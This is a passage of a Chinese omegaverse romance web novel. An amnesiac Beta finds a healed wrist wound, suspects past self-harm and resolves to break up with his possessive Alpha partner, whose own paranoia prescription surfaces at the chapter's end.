灼然地,硬.炽地……将人硌醒。 直到黎白榆的前额蹭到严野客微垂的硬乱发丝,被蹭痒到似的挪开了唇,夜幕中绷滞许久的Alpha才终于有了动作。 他缓缓低头,追着退后挪开一点的沉睡Beta,尖齿轻磨。 ——咬住了对方白皙颈间的衣领。 严野客叼衔着Beta,笔挺的鼻梁贴抵着怀中人的颈侧,肌肤过分碰蹭,甚至能感知到青年动脉血管的轻微搏跳。 他贴得太近了,也太紧,所以也能清晰嗅闻到对方的味道。 清冷淡渺的薄薄气息。 ……好香。 不是信息素的。 是独属于黎白榆自己的香气。 严野客听到耳畔的长声,如狠锤重鼓,万丈惊涛。如远山钟鸣。 久邈难息。 直到最后,他才将将意识到。 ——那是他自己的心跳声。 Alpha早已欺身而上,将眼前之人覆在身下,用自己的身形锁笼住他。 白榆。意为星辰。 严野客深深地把这颗星子困在了自己的胸腔里。 刚打的那针长效抑制剂很可能有问题——Alpha冷静至极地思考着。 不然怎么会一丁点效果都没有。 反而只让他勃然。 严野客极缓地吸了口气,却在这时,听到一点细碎呓语。 “唔……” 他瞬间止住了动作与身形。 却见怀中的Beta,还是困倦地、半醒着睁开了眼眸。 那双清澈的如海双眸,就这样映出了极近之处,严野客的身影。 …… …… 气氛有如胶凝,Alpha的身形倏然悬停。 但预想中的可能并没有发生,半睁开眼睛的青年并没有露出讶然惊疑的神情,只是困倦地重新闭眼,摸索着,抬手拍了拍严野客。 安抚似的,给男人轻轻顺背。 接着,Beta又偏头半埋进了蓬松的软枕里。 他手臂还抱着严野客,就这样重新睡着了。 Beta再度睡去的床铺恢复了静谧的安宁。而直到此时,严野客才无声吐息。 将屏住凝滞太久的一口气息从薄冷的胸腔中吐出。 他被怀中人抱着,血液中的疯狂似乎也被惬意安抚,无形地削减了半分叫嚣。 可是转瞬,惊天的涛浪瞬息成冰,凝结出澜尖利刃如此锋利且森冷。 为什么夜半醒来的黎白榆会这样熟练,有哄人的经验? 他这么抱过谁?半夜安抚地拍哄过谁? ……李景煦吗? 严野客尖利的犬齿轻磨。誓要等明天,几个小时后,就让那个不可能在本周离港的碍眼男人更多添点麻烦。 他的视线于夜幕中下落,至怀中,看着安眠的Beta,冷厉的眉廓又稍稍缓和下来。 没关系。 以后不会有任何其他人。 只有严野客。 不可能再有人来碍事了。 *** 黎白榆睡了一夜好觉,还做了个美梦,梦见自己抱到了一个非常心仪的冰棍抱枕,又凉又冰,手感尤为舒服。 就像抱回了自己留在北美的冰皮馒头似的,弹弹的,硬硬的,内胆填充得很扎实。 为了抱得更称心,黎白榆还主动伸手,努力把它拍得蓬松。 但一觉醒来,黎白榆还在回味凉凉触感,睁眼却发现,自己怀里其实没抱什么东西。 他有点怅然所失。 更怀念自己没拿回来的馒头抱枕了。 怀念归怀念,Beta也没有耽搁起床后的正事。 这两天来,黎白榆都没闲着——研究和调试瞳片,帮找上来询问的同学解答问题,给小导修改润色一下论文主图。 顺便还在观察和照看易感期的严野客。 或者,也可能是……被照顾。 被照顾,应该也算是安抚易感期Alpha情绪的方式之一吧。 黎白榆只能暂时先这样安慰自己。 不过他并没有潜移默化地把这件事当成理所当然。黎白榆已经考虑好,等严野客的易感期结束,就和对方开诚布公。 好好聊一聊两人的关系。 虽然关茴老师人真的很好,也很关照自己……但也没必要因此去委屈严野客。 黎白榆甚至有点担心,自己现在欠下对方的报答清单,都很难在短时间内还完了。 毕竟……他的伤还没完全恢复,体力计划都还尚且没能提上日程。 另一边,在即将要去粤城塔见李景煦的前一天,黎白榆还接到了对方的电话。 李景煦的声线和他长相很相符,是那种非常阳光朗润的磁性男声。 听起来就更像典范似的校内楷模、学生会长了。 只不过李景煦的语气破有些焦灼和懊恼,他也非常抱歉,问见面时间能不能退后一点。 因为他从港城过来,入关时出了点问题,目前还暂时无法入境。 黎白榆倒没怎么在意,对对方接连的致歉也只说了没关系。 最后,两人见面的约定又推后了两天。 黎白榆是真的没介意,因为他恰巧起了些疹子,不外出更方便。 出院后这些天,黎白榆的肠胃都没再出问题,也没再吃相关的药物,比起之前在学校时好转了许多。 但最近几天,因为吃严野客亲手斩的靓鸡,黎白榆还是没忍住,明显多吃了一些。 没办法。 无论是鸡肉,靓汤,甚至是之后用鸡汤下出来的云吞面……都太好吃了。 鲜得都快要把舌头给馋掉了。 于是黎白榆就稍微有一点积食,自己吃了个消食片。 但可能是消食片的成分和他正在吃的药有冲突,黎白榆的手肘和小臂起了几片红疹,需要抹药。 这时候,见面推后两天,对他来说也是更便宜的好事。 但得知李景煦的电话之后,拿着药膏给黎白榆抹药的严野客却明显语气更为冷淡。 他对这个男A的批判不挑时间,也不遗余力。 “连个自己承诺的约定都做不到。” “这种人就是出尔反尔,反复无常,言而无信,不可交。” 黎白榆听得眨了眨眼。 感觉严主厨好像真的因为没领情不捧场……对李景煦的印象格外差。 差得甚至有点针对。 而因为之前的补铁剂确认影响睡眠,原定的去粤城塔这天,黎白榆又去了一趟医院,拿新换的药剂。 严野客原本要跟着一起去,但他毕竟在易感期,黎白榆最终还是把人劝着留在了家。 反正自己很快就会回来。 去了一院,黎白榆拿到麻医生提前给他开好的新药,还准备顺便去换一下右臂伤口的贴布。 因为他的红疹蔓延到了绷带的下方,抹药后,药膏不小心蹭到了绷带里面,把贴布也给染上了。 不知道会不会渗进贴布内层,影响药性。 麻医生正好在忙,给黎白榆换贴布的是一位值班护士。 不巧的是,等剪掉绷带,又把贴布撕开之后,护士还被临时找来的护士长叫走了,她只能抱歉地让黎白榆先等一会儿。 黎白榆原本也不急,闻言便应下来,在诊疗室等人回来。 不过,让他真正在意的,却是自己右臂上的那道伤势。 失忆醒来之后,他的右臂就已经缠上了绷带。今天还是黎白榆第一次看到自己的这处伤口。 让他意外的是,这伤势比原本预想中的更严重一些,而且—— “怎么看起来……不像擦撞伤?” 黎白榆自言自语,仔细观察了一下自己右臂腕间的伤。 那是一道窄而长的伤口,从右上斜拉下来,横贯了小臂,形成了一道略显狰狞的“一”字。 这并不像是车祸外,反而更像是…… 黎白榆怔了怔,抬起左手浅浅比划了一下,用他最习惯的着力方式和发力位置—— 这分明。 ……分明是他自己割腕的痕迹? 走廊里人声混杂,交谈不停,更显得此时的诊疗室内阒静无声。 黎白榆被这突然的意外发现所惊怔,不过他的思绪依然非常冷静,很快更细致地观察了这处奇怪的伤势。 他看到已经明显愈合的伤口并不齐平,最长的伤势两侧还有浅淡的擦伤,似乎是被反复割磨而导致的痕迹。 看起来,就像是割腕的工具很钝。 反复着力许多次,才终于将腕间的皮肤割开。 而且割腕并不会一直流血,血液拥有自凝能力,但黎白榆看到自己的伤口并没有泡水感染之类的迹象。 说明倘若他真的割腕,也没有把手臂放入水中,让血液无法凝固地持续外流。 也就是说,自己这么做的时候,就知道是很难因此而丧命的。 黎白榆不由推测。 所以……自己在失忆前。 是可能用了割腕的方式——去解决什么问题吗? 第 21 章 021 不仅如此, 黎白榆还发现。 自己对“割腕”这个念头,并没有生出太大的违和感。 这不禁让他怀疑。 这个猜测……或许的确可能是真的。 趁着此时伤口外露,黎白榆还又细看了一下伤处的愈合状况。 伤势愈合得倒不错, 虽然乍一看有些狞然,但并没有感染和外翻,看得出距离受伤也已经有了一段时间。 就是肉眼很难分辨,这处伤口和自己车祸所受的外伤是不是发生在同一天。 黎白榆还在思索, 就听到诊疗室的门被推开了。 “小黎, 你想换缝合伤的贴布是吧?” 刚刚忙完的麻医生走了进来。 “是不是还没贴?我来吧。” 值班护士还在旁处忙碌, 麻医生便准备顺手帮人换了。 但等他看到黎白榆右臂上的伤口时,麻医生也被吓了一跳。 “这是怎么回事?” 他知道黎白榆是左利手, 但对这处的伤势, 麻医生却并不知情。 因为黎白榆失忆后苏醒的当天曾经转院, 他右臂的缝合伤也是在之前的医院处理的。 由于只是外伤,且已经处置妥当,转入一院后就没有再另行处理,只在复查时换过绷带。 麻医生所在的虽是精神科,但他见过的外伤也很多。 因此他能明显看出黎白榆的这处伤势并不像受创, 单是伤口的形状与深浅分布, 就不太符合意外的情况。 ……反而像极了以往常见的自残案例。 “所以你之前——” 黎白榆醒来后的情绪一直非常稳定, 麻医生并没料到这种情况。 假如病人之前真的有自残倾向,那他的情感丧失, 很可能就不是单纯的外伤失忆所造成的。 “我不记得了。”黎白榆诚实道。 他的确没能回想起有关这处伤口的记忆, 只是潜意识里觉得, “割腕”这件事可能确实是自己做的。 “病人家属为什么没有提?”但麻医生不明白,“我看过你转院前的治疗记录,上面也完全没有写明这个情况。” 不然他们理该早早做出相关的应对。 对此, 黎白榆倒是能理解一点。 “可能因为家属当时不想让我回忆起这件事吧,怕我刚失忆,再受到什么刺激。” 以严野客的品行,倒不至于故意欺骗自己什么。 黎白榆只觉得,对方也是为了求稳妥。 “……可能吧。” 麻医生还蹙着眉,似乎十分勉强地接受了这种猜测。 但他对那位Alpha家属隐瞒伤情的事,难免仍还有些介怀。 “我细看一下。” 麻医生仔细检查着黎白榆的手臂伤势,谨慎的态度非常鲜明。 反而是黎白榆自己觉得还好。 他刚刚也自己看过伤处,伤口的缝合精心细密,并没有潦草怠慢,应该还做了祛疤处理。 刚才撕除原本的贴布时,黎白榆也注意到了贴布的仿生材质,那是对人类真实皮肤的模拟,可以有效促进伤口愈合,本身也是祛除疤痕的举措之一。 护士也说,这种贴布的价格很昂贵,门诊这边没有现场存备,还是专门给药房打了个条去申请,才拿到了一块类似材质的贴布来更换。 这些情况麻医生自然也看得出来,他细查完,又安慰人道。 “好在没有伤到筋脉,伤口痊愈的情况也很不错。拆线之后注意一点,应该不会留疤。” 不过对病人可能有自残举动这件事,麻医生显然仍是很在意。 他还问。 “小黎,你看到这个伤口的时候,有没有什么情绪波动?” 黎白榆认真想了想,摇头。 “没有。” 麻医生看着黎白榆的脸,仔细留意着他的表情。 “那你会不会有一种……很想探究原委的心情?” 虽然问得委婉,但麻医生的担心其实很明白。 他见过太多类似的病人,害怕黎白榆也会生出无法放手的执念。 不过,眼前这位过分美丽的Beta青年,反应却再度出乎了麻医生的预料。 黎白榆开口却道:“其实我大致能猜到。” 对他可能自残的事,无论导师、同学、朋友都不知情,从没提起过。 那就不太可能是学业方面的困难。 “我在学习,工作,家庭上,都没有迈不过去的坎。” 家庭长辈那边或许是存在过阻力的。但黎白榆并不认为,自己会为了家事而割腕。 他也不觉得自己一个身世普通的学生,会在粤城面临什么凶险颠沛的追杀或绑架。 不然,早该去公检部门配合调查。 所以事情大概率,可能还是他之前就怀疑的—— “情伤。” 黎白榆说。 “假如真有可能的话,我猜大概率是感情问题。” 因为早有揣测,黎白榆这时也没有太过惊诧。 或许自己在失忆前,和现在的淡定性格真的截然相反。 现在对人并无期许的他,也许的确曾对Alpha男朋友心有执念。 为了强迫对方和自己在一起,爱而不得。 才做出了这么偏激的选择。 “我怀疑,我可能是为了男友而自残过。” 黎白榆道。 “这也能解释,他为什么一直不愿意提起这件事。” 这样偏执的举动,无论对谁来说,都是一种太沉重的压力。 “……” 麻医生的眉心褶痕不由皱得更深。 听完黎白榆的完整解释,他忍不住捏了捏自己的鼻梁,摘下眼镜,双手缓慢地搓了搓脸。 虽然Beta的逻辑确实很完整,分析又条理,科室也从来不缺这般闹剧似的病人案例。 可是—— 麻医生依然心有狐疑。 像眼前这么冷静、理智、天才,又如此客观地剖析自我心理的青年。 ……他真的会做出如此偏执、为一个男人要死要活的举动吗? *** 详细和麻医生聊过之后,黎白榆就带着换完贴布,缠好绷带,妥善处理过的右臂离开了医院。 从医院出来,他也没有立刻回家,而是叫了出租,准备去粤城塔。 刚上车没多久,黎白榆就接到了严野客的电话。 得知他现在才从医院出来,Alpha似乎有些意外。 “这么久?拿药不顺利么?” “没有,挺顺利的。”黎白榆解释,“是麻医生一开始在忙,后来他过来,拿了药。还给我做了个新的心理评测。” 评测是黎白榆离开医院前做的,麻医生似乎还是不太放心他的情绪状态,让黎白榆做了一个特别详实复杂的量表,才放他离开。 而对自己右臂上可能割腕的伤势,黎白榆在医院时就考虑过,准备暂时先不对严野客说起。 Alpha大概率早就知道这件事,并且一直以来也不愿意去提。 现在严野客还是易感期,有什么问题,至少也等这个特殊阶段结束再聊。 “嗯,顺利就好。” 电话那边的Alpha又问。 “什么时候到家?” 黎白榆看了眼时间。 “大概两个小时……?我去粤城塔帮师妹买徽章,买完就回家。” 这件事,他之前也和严野客提起过。 医院离粤城塔有些距离,来回车程,再加上排队的时间,肯定不会很快。 但听了这话的Alpha却说。 “徽章已经买到了,你回来吧。” 隔着听筒,男人的声线似乎有一分低闷。 他的语调也如夏日凉雾,缓缓沉降了下来。 “我易感期,看不到人会不舒服。” 黎白榆略有意外。 他知道易感期的Alpha会被放大情绪,严野客平日里的秩序感就这么强,现下肯定更不喜欢失控。 而且,严野客本来就受长辈所托,需要照看黎白榆的安全。 因此对男人的后面那句话,Beta也没有反驳,直接同意了。 “好。” 真正让黎白榆意外且担心的,其实是前一句。 “怎么买到的?你今天外出了吗?” 易感期的Alpha更不方便出门,何况,听说买这个限定徽章还需要排队。 “我有个堂弟也喜欢这个,他今天和他同学就在粤城塔,正好帮忙买了。” 严野客道。 知道黎白榆的性格,没等Beta问,他又接着道。 “报酬是一顿大餐。” 黎白榆隐约记得师妹说过一句,她想买的徽章是什么女性向主题。 没想到Alpha还会有堂弟喜欢这种。 不过能这样帮忙已经非常感谢了,黎白榆也没有多问,只道。 “谢谢,大餐我请。” 严野客:“嗯。” 请他就行。 “记下了,老板。” 男人嗓音淡淡:“到时等你来。” 就这么顺利地要到了一次双人烛光晚餐。 至于借口本身,严野客也根本没有在意。 到时找个理由说人来不了就好。 堂弟不配上桌吃饭。 而这边,黎白榆结束通话,便准备改道回家。 他有些不好意思,很抱歉地跟前排的出租司机说,麻烦对方,想临时改一下地址。 这边离粤城塔和住处的距离并不相同,上了车之后,长途目的地改短途,黎白榆想过,司机师傅很可能会不乐意。 但出乎意料的,对方很好脾气。 听到黎白榆换成了一个只有起步价的目的地,司机也一点都没说什么,直接就调转了方向。 把人稳稳地送了回去。 回到家,黎白榆果然一眼看到了在等他回来的Alpha。 进门后,严野客还问。 “换补铁剂了么,医生怎么说?” “他开了新药,让我试试。” 黎白榆把装药的袋子亮出来。 “希望这回吃完能舒服点。” “嗯。” 严野客淡应,偏了下头。 “菜做好了,先吃饭吧。” 黎白榆出去的这不长时间,Alpha居然又做好了一盅汤三个菜。 而且菜还不是炒的。 “这是……啫啫煲?” 黎白榆看到煲盅时,漂亮的蓝眼睛都睁圆了。 他馋啫啫煲有段时间了,但因为肠胃和养伤的缘故,一直没来得及去外面吃。 没想到,Alpha居然会在家里做。 “……你还会做这个?” 黎白榆一向清冽的眉眼流露惊叹,就差在那张过分美丽的脸上明晃晃地写出三个大字。 ——好厉害。 “……” 饶是同居多日,被这样近距离地热切注视的严野客,依然还是沉默了一瞬,才在Beta的钦佩目光中维系了素来的淡漠神色。 “嗯,”他状若随意,波澜不惊地说,“不难。” “啊,”Beta却抓了抓自己金灿灿的刘海,说,“我觉得超高难度的,要特别老道的大厨才会做。” 特别厉害的大厨把筷子递给他:“尝尝。” 黎白榆面前的啫啫煲足有三种,一个是生啫黄鳝,一个啫啫啫牛肉煲,还有一份啫啫空心菜。 啫啫煲就是用滚烫的砂锅加热,来把鲜美的食材烫熟,做出最新鲜的本味。 因为食材在加热时会发出“啫啫”的声响,才会因此得名。 黎白榆会觉得啫啫煲非常难且深奥,是因为这种做法最关键的要点,就是火候。 而火候,恰好是黎白榆最不拿手的事。 他基本不是没熟,就是会弄糊。 但眼前这三样啫啫煲的菜品,火候却都掌握得非常好。 精准得恰到好处,既不会让食材泛生,又不会让菜品过老。 口感更是脆嫩到惊人。 黎白榆记得自己不太常吃鱼,一是他自己不会做,二是半成品的速食鱼类总会容易有腥味。 但他这次吃到的生啫黄鳝,却完全没有一点鱼腥。 还当真让他体会到了“鲜”字的偏旁为什么是“鱼”。 入口即化的鱼肉,咸香适中的酱汁,肥而不腻的鱼膘……每一样单拎出来,都足以令人称道。 叠加在一起,就更是无可比拟的惊艳。 牛肉也非常鲜嫩,肉片上还带着漂亮的雪花纹,吃进嘴里没有一点瘦柴的纤维感。 过分新鲜的牛肉上,甚至还反射出了光栅效应的七彩纹。 空心菜就更不用多余讲了。 黎白榆平等地钟情每一种青翠的新鲜蔬菜。 总会被勾引倾心,无一例外。 被啫啫煲馋了许久的Beta埋头苦吃,吃一道菜就要诚心地夸一遍,严主厨真的厉害。 被他这样夸奖,很难不膨胀。 不过严野客还是没忘了定量,以及及时打断。 在Beta水汪汪的目光注视下,无情地用盛了竹荪羊肚菌汤的碗,替换了黎白榆还想吃的啫啫煲。 看得出来,Alpha显然还是很在意。 黎白榆因为吃消食片而意外起了红疹的事。 黎白榆知道是自己的问题,被拿走了碗也没委屈。 没有委屈,顶多有点不舍。 他还反思了一下自己,怎么才能精准定量,更让人省心。 不过很快,黎白榆的注意力就被Alpha吸引过去了。 因为严野客说。 “等你伤口痊愈,肠胃调理好了,再做啫啫猪脚和排骨煲。” “螺肉鲍鱼,还有冰箱里的生蚝海参,这些都可以生啫。” 严主厨描绘的前景太美好,让人听到都忍不住想要流口水。 “啫啫鸡煲也不错,”严野客还道,“鸡肉做出来,口感会很脆弹。” “我已经和农庄定了新的鸡,过两天去挑。” 黎白榆忍不住咬唇,颈间的喉结动了动,眼睛里开始播映翻牌。 “叮”的一声,定格出美味鸡煲的影像。 “我平时对菜式的研究,不算少。” 严野客望着他,不动声色。 “不知有没有机会,下次再遇到什么做菜活动,可以等你带我去。” “肯定有机会的!”黎白榆直接点头。 这种活动平日应该就有很多,不可能没有机会。 Alpha的厨艺这么厉害,一定会在活动现场备受欢迎。 黎白榆已经能想象出一排人盛赞严主厨的场面了。 “我下次遇到就叫你。” 对方既然想去活动现场露一手,自己当然要帮忙留意。 黎白榆想。 看来,Alpha是真的很喜欢做饭。 和自己一样。 *** 吃完美味的啫啫大餐,黎白榆去静站消食的时候,还收到了衣明诀发来的消息。 Omega上来就叹了口气,说暂时还没能辨认出处方上的具体字迹。 “不过我妈妈已经确定,这张处方单上写的是中文。” 衣明诀说。 “就是可能是海外的华裔医生写的,和国内的简写方式不太一致。” Omega还道。 “白榆,你发现这个药盒的地点,有多少人可能出入过,你可以把名字清单发给我一下吗?” “如果能知道选项,或许会更好对照一点。” 黎白榆想了想,也只想到了自己和严野客的名字。 他出院后这些天,并没见过其他人在这栋房间出入。 黎白榆把这两个名字的中文打出来,发给对方,又解释道。 “不过我也不太确定,因为这里好像曾经做过民宿,也可能是……以前的住客留下的东西?” 衣明诀对国内的民宿规则更了解一点:“没事,概率不大。民宿游客落下的东西,要么就联系房东邮寄,要么就扔下不要了,应该不会特意被留着。” 更没什么可能被专程锁进柜子里。 “你再有想到的名字,都发我就行。” 衣明诀看到了黎白榆发来的两个名字。 打从一开始,他就觉得黎白榆的可能性很低。 这时再看见这位Alpha男友的名字,衣明诀更觉得对方有点可疑。 “我先请他们帮忙对照着认认。” 黎白榆谢过他,又问。 “那药品使用规定的事,有查到吗?” 他之前也拜托了对方去专业数据库中,查一下相关法规。 “我查了,”衣明诀说,“你找到的这款阿立帕明片,在欧盟和国内都规定,只能开给Beta。” “不过北美的法规不一样,每个州都有自己不同的药物使用法。但绝大部分是不允许开给AO的,只有六个州是特例。” Omega把六个州的名字报了一遍。 里面并没有斯坦福大学所在的旧金山。 也就是说…… 黎白榆想,无论这个药是在学校还是在北美开的,都不被允许给Alpha使用。 衣明诀又和他聊了几句,补充了些细节,才结束通话。 电话挂断,室内也安静了下来。 站在桌边的黎白榆垂眸,若有所思。 虽然处方单的辨认尚无明确进展,但其实,在发现自己右臂伤口的时候,黎白榆已经大致有了一个推定。 他猜到,应该就是自己的问题。 无论是割腕自伤,还是强迫一个并无此意的Alpha和自己在一起。 都足以算是超出正常范围的偏激行为。 黎白榆也考虑过,虽然自己失忆后醒来,没有表现出相关病症的躯体化症状和刻板行为,但这也可能是由于他意外的情感丧失。 身体的本能防护,让自己忘记了再无法承受的偏激执念。 反而变相地治疗了他,让黎白榆的病症好转。 这样想着,Beta也确切地下定了决心。 等严野客的易感期结束,就去找对方详谈。 *** 这个时间点,来的其实比黎白榆预想中更快。 长效抑制剂打到第三针的时候,Alpha就说。 他的易感期基本结束了。 “之前的记录不是六天左右吗?”黎白榆问。 现在算,严野客的易感期好像才到第五天。 “第三针打完,基本就没影响了。”严野客道。 他也已经把遮光墨镜换回了平日的银丝眼镜,瞳膜不再需要那么严密地避光。 黎白榆一听,算了算,发现可能是自己误会了。 也许Alpha的易感期就是五天,是自己看到三针才以为是六天时间。 因为一般来说,易感期最后一天的影响会小一些,Alpha们的理智也会逐渐恢复。 所以许多Alpha在最后一天,都不会再打抑制剂。 严野客可能比较严谨,虽然五天结束,但最后一天还会多打一针。 五天时间,算起来也比较正常的范畴。 黎白榆记得衣明诀和他讲过,学校里强势又骚包的Alpha那么多,但好像迄今为止,也只有一个毕业多年的北美Alpha,易感期是远超常人的七天时长。 由于那个Alpha信仰摩.門教,他还同时拥有五个恋人。 每次易感期,都需要有五个恋人一起陪着他。 才能真正分担他的精力。 因为严野客的信息素浓度高,黎白榆最初看到三针抑制剂时,还想过,严野客的易感期时间会不会是六天再额外加一。 这样,就也是长到很夸张的一周时间了。 不过现在看来,幸好。 Alpha的易感期只是颇为正常的五天。 黎白榆正思索时,还听严野客道。 “所以你要外出的话,我可以一起。” 外出? 听到这个词,黎白榆想到,自己的确还有个外出邀约。 之前李景煦约的见面,推迟了两天,正好要今天去见。 似乎是同样想到了这个人,严野客问。 “李景煦又有来打扰你么?” 黎白榆摇头:“暂时没收到他的消息。” 对方这两天都没发信息。 Beta还想拿手机看一眼,摸了一下才想起,手机被自己忘在了卧室里。 “没有就好。” 面前的Alpha道。 “省得闲人打扰。” 他还是一直以来的说法:“少看屏幕,也有益于你静养。” 听到“看屏幕”的事,黎白榆不由被吸引,下意识地看向了严野客的眼眸。 这里可还有一个比他更需要保重眼睛的人。 易感期的严野客,到底还是会和平时不同。 尤其是他的眼睛。 激素波动,也会影响眼部神经。 黎白榆看着严野客的红瞳,Alpha还没戴回黑色的隐形。 此时男人双眸虽然冷峻清明,却也有着过分鲜明的腥色。 黎白榆不由有些忧心。 “你现在能戴隐形吗?会不会不舒服?” “等下去戴。”Alpha的反应看起来却不太急。 他还望着黎白榆,慢声回答了Beta的第二个问题。 “会。” 黎白榆刚有揪心,就听严野客说。 “你在的话,会好一点。” 看来自己配的药,的确很有效。 黎白榆点点头,应声:“以后我也会继续帮你定制配药方案的。” 他又起身,去找药盒。 “戴隐形之前,先滴一下眼药水吧。” Alpha平时就有自己一直在用的液体药物滴剂,这次黎白榆在粤城联系实验室,给人配缺少的瞳片时,还顺手帮忙搭了一瓶配套使用的眼药水回来。 他拿过眼药瓶,又从恒温箱中取出日抛隐形,一起放到了对方面前。 “眼药水需要我帮忙吗?”黎白榆问。 严野客看着他,抬手缓缓摘下了鼻梁上的眼镜。 “麻烦了。”Alpha淡声道。 “没事。” 这点事不过举手之劳,而且眼药水,本身也是有人帮忙滴会比较容易。 只是黎白榆忘了另一件事。 他的Alpha男朋友并不喜欢身体接触。 滴眼药水时,两人的距离极近。 虽然严野客没有需要人帮忙用手固定住眼睑,而是径自睁开着血色眼瞳,但黎白榆还是发觉。 自己靠得太近了。 滴药并没有遇到麻烦,Alpha也没有出现那种本能的闭眼反应,只一直睁眼静看着倒映在他瞳海中的黎白榆。 但到药水滴完,黎白榆等对方闭眼静候滴剂润泽时,却发觉闭眼端坐的严野客,不易察觉地向后退了一点。 微微拉开了两人几乎贴靠一起的距离。 而等重新睁眼,严野客似乎也没想到黎白榆还没退开,只看了近处的Beta一眼,就默然地挪开了视线。 黎白榆一向有些后知后觉,这时才察觉,自己站的距离,已经近到惹人生出了不适。 这不由让他有了更深的愧疚。 虽然Alpha的待人处事一直很周到且礼貌,但对方始终不愿和他亲近接触,也不愿意过近距离地看到他——这些举止表现,其实一直都很明显。 正巧严野客的易感期已经结束。 自己也没必要再拖延耽搁对方了。 黎白榆坐回了桌边的椅子上,看着对面Alpha自己起身,拿着隐形盒去了卫生间,准备去将瞳片戴上。 他也准备好了,等严野客戴完瞳片回来,就和对方摊牌。 严野客的易感期无法得到抚慰,本来就会很不舒服。 虽然可能Alpha自己也不想被人靠近抚慰,但黎白榆更清楚,自己是Beta,本来就不适合与Alpha在一起。 从醒来后,黎白榆就有着这个清晰的念头。 男性Beta,完全不适合与男性Alpha交往,亲近,成为恋人。 他安抚不了严野客,偏还要挟了对方。 这次车祸,失忆,看似跌宕波折,颇有麻烦。 但从另一方面,或许也是一个转折的契机。 告诉黎白榆,可以放手,停止这段扭曲地强行维系下去的关系。 让对方自由。 黎白榆浅浅呼了口气,慢慢拨了拨自己额前的发丝。 尽管之前就已做出这个决定,但真正到了这个时刻。 他其实比自己预想中还要轻松一点。 或许这就是放下包袱的释然。 自己的性格,着实也不适合恋爱。 以后,还是安安稳稳地独自生活吧。 安静等待严野客从卫生间出来的Beta,却并不知道。 自己留在卧室的手机,此时屏幕却倏然亮起,响起了一个突然的来电。 开了震动的手机被遗落在床铺上,不住地轻震着,紧张又匆急。 可是手机被蒙陷在软被中,声响和光亮却都丁点都没能传出。 电话是远在北美的衣明诀打来的。 即使没有被接起,通话也始终未停,足以看得出来电者的焦急。 衣明诀打来电话,是要说。 那个龙飞凤舞的潦草处方单,终于被辨认出了部分字迹。 写在使用者一行的名字,并不是发现这盒药物的黎白榆。 而是他自以为爱不得、即将提出分手的男朋友。 虽然不知道这个处方为什么会被开给一个Alpha,但那盒治疗重度偏执症的药物。 ——真的是给名为严野客的病人用的。 第 22 章 022 严野客戴好瞳片走出来, 抬指将刚刚戴回鼻梁的薄边镜架轻推了一下,调整至最恰宜的位置。 他还看向坐在客厅沙发椅上的Beta,淡声问。 “想喝点什么?” 一小时后, 当值的保镖会送今天的食材过来。冰箱冷鲜区里还有些新鲜的甘蓝、西芹、蓝莓和雪梨。 刚好可以榨成鲜蔬果汁。 严野客以前从不重口腹之欲,更不可能为做饭浪费早已填满了日程工作的个人时间。 很多人会评价他是个野心非常强的人,却也不得不承认,严大少从不会放纵、贪得、任性。 甚至永远如机器般冰冷自控, 少私寡欲到过分。 但近来的情形却不同。严野客不仅会让旧交大跌眼镜的时常亲自下厨, 还逐渐从其间体会出了一种愉悦。 这种愉悦并不只是由于一味的支配和掌控感, 还有着鲜明的一部分,来源于品尝者用餐时的开心。 哪怕对方尚还没有吃到, 但只是想一想黎白榆会喜欢。 就足以让人兴奋。 所以现在严野客问对方有什么想喝, 也并不觉得亲手去清洗、摘择、剥皮、榨搅, 一步步做出一杯果蔬汁会有什么辛苦,麻烦。 反而只有难得的欣然。 但被严野客望着的青年,却出乎他预料地摇了摇头。 “谢谢,不用麻烦。” 更意外的,还有下面一句。 “有件事, 我想和你聊一下。” “我想起我们之前的事了。” 严野客走向桌几边的步履倏然一停。 好像过了“滴答”声非常清晰的两秒, 男人才声线沉低地重新开口问道。 “你全想起来了么?” 黎白榆点点头:“大体上。” 他已经拼解出了完整的真相, 关于自己如何强迫、要挟对方维系着两人的关系。 “所以我觉得,也可以做个了结了。” 他还带着歉意解释了一句:“其实前几天就想起来了, 但觉得你易感期可能不方便聊, 所以拖到了今天, 抱歉。” 黎白榆出言诚恳,言语坦然。 他看着Alpha举步走过来,在自己左手边的另一张沙发上坐下, 动作徐缓而沉默。 他还看见,严野客英挺的眉峰微微压紧,侧脸廓线凌厉。 即使戴回了平日里墨色的瞳片和平光镜,却好像依然没能掩饰住男人眉廓眼梢的冷意。 让Alpha这么不悦,说到底也还是黎白榆自己的问题。 所以黎白榆也开诚布公,直接提出了最重要的那件事—— “我想,是时候结束这些了。” “我们分手吧。” 周围似乎诡怪地静寂了一瞬,以致甚至有种凝固的错觉。 黎白榆发现一向喜欢直视人开口的Alpha此时并没有看他,只是抬指,慢缓地扶正了一下镜架,瘦韧的手背上抻浮着冷色的显眼青筋。 将手放下之后,男人才启唇,却是问。 “你怎么想起来的?” 黎白榆略有迟疑,右臂不可察觉地微微紧了一下。 他在犹豫要不要把割腕这件肯定也给对方带来了伤害的事,此时再摆到明面上来谈。 不过还没等他回答,就听严野客又道:“几天前。” “是因为李景煦么?” 黎白榆怔了一下,忙澄清:“不是。” 他也发现了,严野客似乎特别不喜欢李景煦。 一开始黎白榆想过,可能是由于这个Alpha学长对自己不合时宜的纠缠。 但严野客又不喜欢自己,对李景煦应该也是漠视,总不可能因此生出什么记恨和厌烦。 后来黎白榆才听懂,是因为李景煦对菜品不够捧场,才被严野客所不喜。 可是现在,严野客对这人的针对却好像……更加明显了? “和他没有关系,”黎白榆说,“我到现在也还没能想起来这个人,一点都没有。” Beta的本意是为澄清,可是严野客听完,脸色却更差了。 黎白榆的情感丧失,忘了最爱和最恨。 那他把李景煦这个人全忘干净了——这又意味着什么? 严野客方才听见青年说“想起”,以为对方真的把失忆前所有事全部找回,有一瞬间——心情差到险些直接想去砍人。 那些莫名其妙的肮脏蠢坏,根本不配有一毫资格影响到黎白榆。 但是现在,发觉了李景煦的待遇,严野客的心情才是真的差到极点。 他看起来是真的开始考虑用什么刀去砍人了。 Beta还在说:“没想起别人,也不影响现在我们——” “我不同意分。” 但他的话直接被严野客冷言打断。 黎白榆顿了顿。 他知道Alpha们的自尊心都极强,被提出这种事肯定会觉得没面子。 况且,严野客还需要顾虑长辈那边的问题。 “那你来提分手也可以,我都能接受的。” Beta好脾气地说。 “你也不用担心老师那边的交代,这只是我们两人的关系。” “……” 听到“老师”两个字,严野客一瞬沉默, 男人侧身而坐,血眸隐于瞳片之后,让人难以看清他真正的神色。 “关茴老师是你的小姨,对吧?” 黎白榆的话打碎了所有侥幸。 他真的想起来了。 